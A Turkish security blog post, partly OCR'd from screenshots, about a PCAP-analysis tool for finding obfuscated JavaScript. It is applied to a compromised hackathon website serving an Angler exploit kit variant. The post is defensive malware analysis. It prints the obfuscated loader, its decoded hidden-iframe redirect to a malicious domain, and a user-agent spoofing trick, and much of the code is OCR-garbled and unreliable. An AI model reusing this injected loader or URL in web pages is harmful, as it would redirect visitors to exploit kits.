Zararli JavaScript Avi
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Kum havuzu (sandbox) analizi yapan teknolojiler/cihazlar, kurumlara dogrudan
ya da dolayli olarak yapilan siber saldirilari tespit etme, gerekli onlemleri
alma veya aldirma noktasinda oldukca Onemli bir role sahiptir. Bu cihazlarda
ortaya ¢ikan alarmlar kurumsal SOME‘ler tarafindan incelendiginde, kimi zaman
ortaya ilginc¢ guvenlik vakalari da c¢ikabilmektedir.

Bu cihazlar uUzerinde yer alan alarmlarda veya suphe duyulan trafik paketleri
(PCAP) lzerinde, alarmi tetikleyen veya siuphe duyulan aktiviteye yol acan
zararli JavaScript kodunu tespit etmek, kimi zaman guvenlik uzmanlari ic¢in
zaman alici bir surec¢ haline gelmektedir. Bunun baslica sebeplerinden biri
ise zararli JavaScript kodlarinin cogunlukla http trafiginde gizlenmis
(encoded) olarak yer almasidir. Bu nedenle Wireshark araci ile bir PCAP
dosyasini ac¢ip, gizlenmis JavaScript kodlarinda siklikla kullanilan eval()
fonksiyonunu aratmak bosa kirek cekmekten farksiz hale gelmektedir.

Gectigimiz aylarda kum havuzu analizi yapan bir cihazdan aldigim alarmi
detayli olarak inceledigimde, Hiirriyet Hackathon‘un web sitesinin
hacklendigini ve ziyaretgilerini uitbracht.kateandoliverswedding.co.uk alan

adina yonlendirdigini gdrdim.
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Hackathon (ayrica hack gunu, hackfest ya da codefest olarak da bilinir)
bilgisayar programcilari, grafik tasarimcilari, araylz tasarimcilari ve proje
yoneticileri de dahil olmak ilzere katilanlarin yogun bir sekilde yazilam
projelerinin gelistirilmesi amaciyla diger takimlar ile rekabet icerisinde
bulundugu bir olaydir. (Referans: Vikipedi)


https://www.mertsarica.com/zararli-javascript-avi/
http://www.btk.gov.tr/tr-TR/Sayfalar/SG-USOM-ve-Kurumsal-SOME
https://www.mertsarica.com/su-kaynagi-saldirisi/
https://en.wikipedia.org/wiki/Pcap
https://www.wireshark.org/
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
http://www.hurriyet.com.tr/turkiyede-bir-ilk-hurriyet-hackathon-basliyor-28636943
https://tr.wikipedia.org/wiki/Hackathon
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Yukarda bahsettigim gibi Wireshark ile PCAP dosyasi icinde yer alan zararli
JavaScript kodunu aramak zaman alici olabilecegi ic¢in bunu nasil otomatize
edebilecegim lzerine dislinmeye basladim.

Python ile bir ara¢ hazirlasam, Scapy ile PCAP dosyasini ag¢sa, HTTP trafigini
incelese ve script takilari arasinda yer alan JavaScript kodunu bulsa,
calistirsa ve eval() fonksiyonunu tespit etse az cok isimi gorir diye
dusunmeye basladim. Ancak en buyuk engellerden biri JavaScript kodunu Python
ile nasil calistirabilecegim olacakti. Cok zaman kaybetmeden, Python araci
ile ortaya c¢ikan JavaScript kodunu, Phantom]S isimli grafiksel kullanici

araylzu olmayan tarayici (headless browser) ile calistirmaya karar verdim.

Kisa bir c¢alismanin ardindan ortaya JavaScript Eval Finder adini verdigim bir
ara¢ cikti. Bu araca PCAP dosyasini verdiginizde, javascripts klasoérine
script takilarinin yer aldigi HTML dosyalarini kopyalamaktadir. Ardindan
Phantomjs ile calisan JavaScript Extractor yardimci araci ile gizlenmis
JavaScript kodunda yer alan eval() fonksiyonu tespit edildiginde, yine bu
arac tarafindan bir uyari verilmekte ve bir dnceki adimda kayit edilen HTML
dosyalarinin basinda (header) tespit edilen JavaScript kodlari yorum
(comment) olarak eklenmektedir.

JavaScript Eval Finder aracini hurriyethackathon PCAP dosyasi Uzerinde
calistirdigimda cok gecmeden gizlenmis (encoded) olan JavaScript kodunu
bulabildim.


https://github.com/secdev/scapy
http://phantomjs.org/
https://en.wikipedia.org/wiki/Headless_browser
https://www.mertsarica.com/codes/eval-finder.py
https://www.mertsarica.com/codes/js-extractor.js
https://www.mertsarica.com/codes/eval-finder.py

T remnux@remnux: ~/Desktop/hurriyethackathon
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Beautify, unpack or deobfuscate JavaScript and HTML, make JSON/JSONP readable, etc.

All of the source code is completely free and open, available on GitHub under MIT licence,
and we have a command-line version, python library and a node package as well.

f:'lndem. with 4 spaces v | [ End script and style with newline?
| Allow 5 newlmes between tokens ¥ | [ Support edxfjsx syntax

| Do not wrap |'”95 i Y| U Use commadfirst list style?

| Braces with control statement ¥ | ¥ Detect packers and obfuscators?
HTML <style>, <script> formatting: [ Keep array indentaticn?

| Add one indent level ¥ | [ Break lines on chained methods?

¥/ Space before conditional: "if(x)" / "if {x)"
|| Unescape printable chars enceded as NN or WNNNN?
I Use JSLint-happy formatting tweaks?
) Indent <head> and <body> sections?
Use a simple textarea for code input?

Beautify JavaScript or HTML (ctr-enter)

Eval Detected: tecl = (+[w1ndow sidebar]);
11", ]

2 azhon = ["rv:

3 for [epox = tecl; epox < azhon.length; epox++) {

4 if {navigator.userAgent. 1ndex0f(a’hon[epox]) » tecl) {
5 gijo = azhon.length - epox;

6 break;

7 T
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9| 1f (navigator.userAgent.indexOf("MSIE1@") > tecl) {
_3 gijo++;

12 | efuwv = gl]o el

13| tisbfj = QQL\rLfBbJ N3"

14 zeyt = document. getElementById( kzwwndo™ ) .innerHTML;
15 olst = tecl;

16 | dws = tecl;

17 dsruf = ..,..

for (epox = tecl; epox < zeyt.length; epox += efuwv) {

1 dvp = zeyt.charCodeAt(epox),;
20 if (dvp >= 97 && dvp <= 122§ {
2 if (olst % gijo) {

22 dsrvf += String.fromCharCode(((zmsso + dvp - 97) * tisbfi.charCodeAt{dws % tisbfi.length)) % 255);
23 dws++;

24 T} else { &

25 zmxso = (dvp - 97) * 25;

26 }

27 olst++;

E 1 [][;ccnst"l.c:or "1["constructor"]{dsrvf)();

Beautify JavaScript or HTML (ctrl-enter)

Ardindan ortaya c¢ikan (decoded) bu JavaScript kodunu inceledigimde bunun daha
once de incelemis oldugum Angler istismar kitinin farkli bir sirimi oldugunu
gordim. Acilmis (decoded) JavaScript kodunu, orjinal HTML dosyasindaki
gizlenmis (encoded) JavaScript kodu ile yer degistirip, Firebug gelistirme
araci/eklentisi ile Firefox internet tarayicisi lzerinde analiz ettigimde, bu
JavaScript kodunun ziyaretcgileri
http://uitbracht.kateandoliverswedding.co.uk/topic/18572-indivisible-arriver-
existences-faroff-prepositions-sunburn-crushing-hittable/ adresine
yonlendiren kod oldugunu teyit edebilmis oldum.



https://www.trustwave.com/Resources/SpiderLabs-Blog/Angler-Exploit-Kit-%E2%80%93-Gunning-For-the-Top-Spot/
http://getfirebug.com/
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~ @ file://fhomefremnux/Desktop/malware.html v X | | Q Search Y% B ¥+ & » | =
Read www.hurriyethackathon.com
# [ { ) )= console HTML cSS t ‘ DOM Net Cookies | P Use -i:«-:nul'nl:f| A | v| B&
Ip | all = malware.html - {} | malware.html P 7 | watch - ‘ Stack Breakpoints 3
1280 =div id="kzvwndo" style="position: absolute; top: -li3linlfil|:.|;o<i o G e e ey
121 <=div id="ihidg" style="position: absolute; top: -1942px; this & Window
- ;:E;;;::. = B Global Scope [Window] £ Window
$ undefined
=!-. UserAgent kontrolu atlatma --= jQuery function(a, b}
navigator. defimeGetter ('userfgent',“function{}{ .
return{ "Mozilla/5.8 (Windows NT 6.3; Trident/7.8; rv:l InstallTrigger InstallTriggerimp
1): CONTENT=4, mcg
) ) applicationCache @ 0 iterms in offline c
tecl = (+[window.sidebar]); "
it closed i false
<!-- Internet Explorer tarayici kentrolu atlatma --= i console Object { log=fun
tecl = B; i info=function(),
azhon = ["rv:11", "MSIE", ]; content Window malware.
for (epox = tecl; epox = azhon.lemgth; epox++) { crypto & Crypto { subtle=
if (mavigator.userAgent.indexO0f{azhon[epox]) = tecl) getRandomValue
gijo = azhon.length - epox; 7 ; 7
break; devicePixelRatio B 1
1 document & Document
iy ternal External { AddS
if (navigator.userAgent.index0f({"MSIE18") = tecl) { il Iss:a"::h;mvlde;
1 glio+ss addSearchEngine
efuvv = gijo - 1; frameElement '
tisbfj = "93erfBbU£t-l3": Ty e e al frames Window maiware.| ™)
[2] —

™ remnu... Jll‘ | Desktop Lﬂ@‘ Interne...ﬂ- remnu... ‘Hiirriye...
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Hiirriyet Mobil Hackathon - Mozilla Firefox

& file:fffhomefremnux/Desktop/malware.html

Read www.hurriyethackathon.com

# O £ » Y= console HTML css

v X | | Q Search

- ‘ DOM MNet Cookies

wBa ¥ & »

| Puse ;«-:numl:f| ~ | ~ | E

i | all = malware.html = {} malw)> | p 9 @ @
;;; ;;.;; t;;{:' || 'w watch expression...
158 | dsrvf = ""; is
151 for (epox = tecl; epox = zeyt.length; epox += )
152 dvp = zeyt.charCodeAt{epox): - lobal Scope [Window]
153 if (dvp == 97 && dvp == 122) { - R
154 if (olst % gijo) { | B h
155 dsrvf += S5tring.fromCharCode(({zm o
156 dws++; dsrvf
157 1 else {
158 zmxso = (dvp - 97) * 26;
159 T
168 olst++;
161
& 182 H1["constructer"]["constructor” ] (dsruf)();
163 | =/script>
1 <noscript= .
=div class="loader">
=div class="strip-holder">
=div class="strip-1"==/div= dvp
<div class="strip-2"></div> p—
<div class="strip-3"=</div>
<fdiv>
=/fdiv=
=div class="nav-container">
enEw rlase="nuarl aw n=w" -

i e |Watchv Stack Breakpoints

»

i Window

B Window

undefined
[ "rv:11", "M5IE" ]

"wvar date = new Date{new Date().
6E*ER*24*T*1006) ; document.cooki]
path=/; expires="+date.tolUTC5tri
" PHP SESSION PHP=388; path=/;
expires="+date.tolUTCS5tring();
document.write('=style=.uoxnytgul
top: -731px;width:388px; height: 36|
class="uoxnytgubzitxaa"»<iframe
src="http://uitbracht.kateandoli
F1B572-indivisible-arriver-exist
sunburn-crushing-hittable/" widt
=/iframe></div=");"
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0zellikle SOME calisanlari icin faydali olacagina inandigim JavaScript Eval

Finder ve JavaScript Extractor araclarini tek bir paket halinde buradan

indirebilirsiniz.

Bir sonraki yazida go6rismek dilegiyle herkese giuvenli ginler dilerim.

Not: Bu yazi 5. Pi Hediyem Var oyununun ¢O0zum yolunu da icermektedir ;)



https://www.mertsarica.com/codes/eval-finder.zip
https://www.mertsarica.com/pi-hediyem-var-5/

